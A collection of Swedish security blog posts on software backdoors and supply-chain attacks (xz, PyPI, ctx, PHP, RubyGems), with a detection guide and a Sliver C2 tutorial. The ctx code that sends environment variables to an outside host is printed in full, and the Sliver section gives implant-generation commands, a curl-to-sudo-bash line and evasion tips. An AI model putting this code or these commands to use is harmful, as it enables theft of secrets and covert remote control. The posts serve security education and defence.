En bakdörr har identifierats i projektet xz/liblzma. Vad vi vet än så länge så påverkar bakdörren sshd på Linux-baserade operativsystem. Några intressanta saker i historien som jag uppmärksammat är att antagonisten har jobbat metodiskt under flera år för att föra in bakdörren, samt så är bakdörren bra skriven. Den injiceras när koden byggs som jag kan utläsa det och finnes i xz-versionerna 5.6.0 och 5.6.1
En annan intressant del är hur den upptäcktes, det var via prestandaproblem som den kunde identifieras. Bakdörren har fått CVE-2024-3094 med en CVSS på 10.
Det kan även finnas fler bakdörrar i koden eftersom det github-alias som införde bakdörren även genomfört 750 andra ändringar i xz/liblzma-projektet.
Bakdörren upptäcktes av Andres Freund och även amerikanska CISA har gått ut med en advisory.
Just de versioner av xz med bakdörrar verkar finnas i Fedora Linux 40 (vissa) samt Fedora Rawhide. Debian Unstable och Kali Linux är också drabbade. Samt så har Red Hat Enterprise Linux ej denna version. Meddelande från Kali:
The impact of this vulnerability affected Kali between March 26th to March 29th
För att se om du använder en version som är sårbar kan följande oneliner användas. Obs, undvik att köra själva xz-binären:
for xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings "$xz_p" | grep "xz (XZ Utils)" || echo "No match found for $xz_p"; done
Minst två falska servrar som tillhandahåller paket och uppdateringar till programspråket har identifierats. Och det var via top.gg-forumets hackade Github-sida som detta uppdagades via en så kallad supply-chain attack.
Skärmdump som visar på commiten där pypihosted.org ändras till den skadliga sidan pythonhosted.org:
Efter att colorama-modulen importerats enligt ovan skärmdump så körs skadlig kod som sedan försöker identifiera lösenord, nycklar, sessioner och annat intressant. Även så installeras en registernyckel i Windows som gör att den skadliga koden startas igen vid omstart.
Det är i dagsläget oklart hur många som drabbats av denna bakdörr, men top.gg-forumet har 170k användare. Även har andra repos på Github hackats såsom en TikTok-viewbot, men gör man en sökning på github i dagsläget så finns det inga referenser kvar till pypihosted.org förutom denna Solana-Sniper.
Följande IOC:er (Indicators of Compromise) kan användas:
Att upptäcka bakdörrar i IT-system är ingen lätt match och en mycket bra utvecklad bakdörr är mer eller mindre omöjlig att upptäcka. En bra utvecklad bakdörr har en mycket liten och snäv målgrupp och ligger vilande större delen av tiden. Men det finns givetvis olika metoder och sätt att upptäcka bakdörrar, för förr eller senare så kan misstag eller avvikande beteenden analyseras och påvisa en bakdörr.
Denna guide är främst skriven för att upptäcka bakdörrar som redan är in-planterade. Och hur bakdörrarna kommer in är utanför denna guide, men för att nämna några sätt:
Implanterade från start i servrar eller mjukvara/hårdvara
Via manuella eller automatiska uppdateringar av mjukvara, firmware osv
Man in the middle-attack eller MOTS mot nedladdad mjukvara
Via hackad server eller klient, bifogade filer i mail, sårbarhet i mjukvara
En vital funktion för att upptäcka bakdörrar på klienter och servrar är att samla in data, det kan röra sig om processer som startar och avslutas, drivrutiner som installeras/avinstalleras, telemetridata. Det är information där en enskild loggrad eller händelse kanske inte säger så mycket, men om den berikas och sätts i ett större sammanhang kan identifiera ett avvikande beteende.
Använder ni Windows-baserade system så är Sysmon ett givet verktyg att använda. För Linux-system så bör man använda verktyg såsom Sysdig Falco och auditd. Eller mer generiska verktyg såsom osquery.
Jag rekommenderar även att titta närmare på Velociraptor som jag bloggade tidigare om. Givetvis bör även binärer, konfigurationsfiler och dylikt hållas koll på med tripwire-liknande funktionalitet. Jobb som körs vid regelbundna intervall såsom cron, AT (Task Scheduler) osv. Eller vid uppstart av mjukvara, system (autoruns).
Nätverk
Jag har tidigare skrivit om RITA som kan underlätta analysen av nätverkstrafik för att hitta beacons som bakdörrar och implantat använder sig av för att kommunicera. Men en väl skriven bakdörr gör detta väldigt sällan och avviker minimalt från normal nätverkstrafik.
Att använda sig av TLSI (TLS Inspection) kan underlätta analysen av TLS/SSL-krypterad nätverkstrafik men det finns givetvis risker också, som bl.a. NSA varnat för. Rekommenderar att titta på PolarProxy som kan hjälpa till med TLSI.
Passivt bör ni också undersöka om system anropar och kopplar upp sig mot kända C&C-servrar, därav viktigt att underhålla aktuella Threat Intelligence-listor med IP-adresser, domännamn etc.
Mängden av data som flödar ut ur era system kan också ge en fingervisning om exfiltration genomförs. Men detta är inte alltid helt enkelt att upptäcka, vid forensiska undersökningar där jag medverkat har jag sett att antagonister delar upp upp information i flertalet 500MB RAR-arkiv som exfiltreras över en längre tid för att undgå upptäckt.
Glöm inte heller att DNS kan användas för kommunikation, som bl.a. SolarWinds Orion SUNBURST-bakdörren gjorde. Även kan Twitter och andra sociala medier eller andra välkända tjänster användas för kommunikation med bakdörren. Steganografi kan också nyttjas för att försvåra upptäckt.
På internet eller fjärrsystem
Att aktivt undersöka vilka fjärrsystem på Internet som anropas kan hjälpa till att förstå om bakdörren pratar med en Command and Control-infrastruktur (C&C). Flertalet olika datakällor såsom Shodan kan användas för att förstå vilket eller vilka målsystem som kommunikationen sker mot.
Ett verktyg såsom JARM kan hjälpa till med detta och skapa unika signaturer. Observera att just aktivt undersöka system på internet kan vara en legal gråzon och undersök noga vad ni har möjlighet att göra.
Avslutande ord
Jag rekommenderar att bygga upp ett antal olika scenarion där ni undersöker vilka möjligheter ni har att upptäcka just dessa metoder. För att ge några exempel:
Log4j JNDI-sårbarheten utnyttjas på ett system mot Internet. Om en bakdörr sedan installeras på detta system, hur kan ni försvåra installation av bakdörren och hur ni upptäcka denna bakdörr?
En mjukvara som automatiskt uppdateras börjar att ”ringa hem” via dess normala kanaler för uppdateringar. Men innehåller nu krypterad data om erat interna nätverk såsom AD-namnet
DNS används för exfiltration
Switchen ni köpte innehåller en Rasperry Pi med WiFi eller 4G-mobildata för exfiltration av intern nätverkstrafik
Vad väntar ni på? Avsätt tid och resurser redan nu för att utveckla förmågan att upptäcka bakdörrar i IT-system. Och givetvis så bör ni också genomföra åtgärder för att försvåra för att bakdörren hamnar i IT-systemet i första taget, och även dess möjligheter att kommunicera ut på internet (eller på andra sätt ringa hem).
Desto mer bakdörren är integrerad i en befintlig komponent i era IT-system desto svårare är det att upptäcka den.
Tack till Erik Hjelmvik för genomläsning och synpunkter!
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
Uppdatering:Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.
Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.
För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.
Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:
def __init__(self):
self.sendRequest()
.
. # code that performs dict access
. # please DO NOT RUN THIS CODE !
def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.
Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.
Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.
Någon eller några antagonister har lyckats att pusha ett förslag på ändring i källkoden till det populära PHP-projektet som används av ungefär 79% av alla världens webbplatser. Detta förslag på förändring innebär att om en user-agent http-header börjar med zerodium så körs eval på koden, dvs du kan köra vilken php-kod du vill.
Ändringarna genomfördes i namnen Rasmus Lerdorf och Nikita Popov som är två välkända PHP-utvecklare, dessa reagerade direkt och skickade ut ett mail till php-internals maillinglistan med bl.a. följande:
We’re reviewing the repositories for any corruption beyond the two referenced commits.
Transparensen som Github erbjuder är bra och gör att många fler på ett enklare sätt kan se ändringar i koden och därmed upptäcka eventuella bakdörrar. PHP-projektet meddelar även att de inte har tid eller möjlighet att underhålla git.php.net i framtiden och kommer nu enbart att köra med Github i framtiden. Om ändringarna i källkoden tagit sig ut i några skarpa system är oklart i dagsläget.
Facebook har släppt ett intressant nytt implantat (bakdörr) vid namn WEASEL. Mjukvaran är skriven i Python3 och utnyttjar DNS samt AAAA-records för att skicka och ta emot beacons. Den behöver inte heller några externa beroenden och kan således köras under de flesta operativsystem.
Ett implantat är en typ av mjukvara som används av angripare för att utföra olika uppgifter och kommunicera in och ut ur nätverk. WEASELs klientdel har inga direkta inbyggda funktioner förutom att sköta kommunikationskanalen, självradering och intervall för kommunikation. Vill du ha mer funktioner så får du själv bygga till det eftersom WEASEL stödjer exekvering (eval) av Python3-kod.
Fokus vid utvecklingen av WEASEL har varit på att försöka försvåra IT-forensiska undersökningar och därför finns ej stöd för persistens. Mjukvaran stödjer inte heller att flertalet operatörer jobbar mot samma instans.
För kryptering av data över DNS så används AES-128 i CTR mode samt Diffie-Hellman för nycklar. Oklart hur stödet för Windows ser ut men går säkert att åstadkomma med Pyinstaller.
Att cyberattacker mot Supply Chains såsom rubygems blir vanligare och vanligare är vi många som har förutspått i flera år. Och igår så identifierades en bakdörr i ruby rest-client.
Bakdörren las in via ett hackat konto (mwmanning) och hämtade hem kod från pastebin som sedan exekverades. Liknande attacker har tidigare inträffat mot bl.a. JavaScript-biblioteket (npm) event-stream.
Just denna bakdörr som fanns i Ruby-gems gjorde ett antal olika saker såsom att skicka iväg miljövariabler till hostnamnet mironanoru.zzz.com.ua.
Även identifierades bakdörrar i många andra RubyGems såsom:
rest-client: 1.6.10 (downloaded 176 times since August 13, 2019), 1.6.11 (downloaded 2 times since August 14, 2019), 1.6.12 (downloaded 3 times since August 14, 2019), and 1.6.13 (downloaded 1,061 times since August 14, 2019)
bitcoin_vanity: 4.3.3 (downloaded 8 times since May 12, 2019 )
lita_coin: 0.0.3 (downloaded 210 times since July 17, 2019)
coming-soon: 0.2.8 (downloaded 211 times since July 17, 2019)
omniauth_amazon: 1.0.1 (downloaded 193 times since July 26, 2019)
cron_parser: 0.1.4 (downloaded 2 times since July 8, 2019), 1.0.12 (downloaded 3 times since July 8, 2019), and 1.0.13 (downloaded 248 times since July 8, 2019)
coin_base: 4.2.1 (downloaded 206 times since July 9, 2019) and 4.2.2 (downloaded 218 times since July 16, 2019)
blockchain_wallet: 0.0.6 (downloaded 201 times since July 10, 2019) and 0.0.7 (downloaded 222 times since July 16, 2019)
awesome-bot: 1.18.0 (downloaded 232 times since July 15, 2019)
doge-coin: 1.0.2 (downloaded 213 times since July 17, 2019)
capistrano-colors: 0.5.5 (downloaded 175 times since August 1, 2019)
Vad man man göra för att förhindra och försvåra för denna typ av attacker? Jo det finns ett antal saker:
Säkra upp utvecklarkonton
Kontot som hackades hade inte tvåfaktorsautentisering påslaget. Gör detta obligatoriskt för denna typ av behörighet. Vilket är något som nu RubyGems funderar på.
Granskning av kod
Precis som processen för att publicera appar i Apple App Store eller Google Google Play så bör kod exekveras i en sandlåda och observeras. Gör den konstiga saker såsom DNS-uppslagningar som inte fanns tidigare?
Givetvis är även manuell kontroll av kod som publiceras bra, men vid många ändringar och mycket kod är det inte alltid möjligt att manuellt granska all kod.
Signering
Se till att det finns ett flöde gällande signering, från exempelvis en hårdvarunyckel såsom YubiKey där en obruten kedja kan verifiera från utvecklaren till den person som installerar paketet.
Isolering
Precis som med all obetrodd källkod som du laddar ner och kör så bör denna isoleras i största möjliga mån. Alla servrar och klienter kanske inte bör ha direkt koppling mot Internet, alla anslutningar och uppslag bör loggas.
Håll nere antalet beroenden
Om du har möjlighet att själv utveckla och underhålla delar av källkoden så är detta att fördra. Men inte alltid möjligt då vi många gånger är beroenden av tredjepartskod såsom bibliotek. Reproducerbara byggen är också ett bra sätt att försvåra för bakdörrar.
Kryptovirus/kryptomalware eller på engelska cryptovirology är ett uttryck som Adam L. Young, PhD samt Moti M. Yung, PhD skapat för att beskriva skadlig kod (malware) som använder sig av krypto.
”Cryptovirology är ett område som studerar hur man använder kryptering för att utforma kraftfull skadlig kod”
Några exempel på skadlig kod som använder sig av kryptovirus är: Gpcode, Cryzip, samt Krotten. Dessa tre olika trojaner håller dina filer på datorn som gissla (krypterar) och begär sedan en summa pengar för att du ska få en nyckel för att dekryptera filerna.
Ett annat populärt namn för denna typ av skadlig kod är även ransomware.
Området Cryptovirology omfattar även kryptoattacker där angriparen i hemlighet stjäl privat information såsom privata nycklar. Ett exempel på den senare typen av attack är en asymmetrisk bakdörr. En asymmetrisk bakdörr är en bakdörr (t.ex. i en kryptosystem) som kan användas endast av angriparen även efter det att den eventuellt upptäckts.
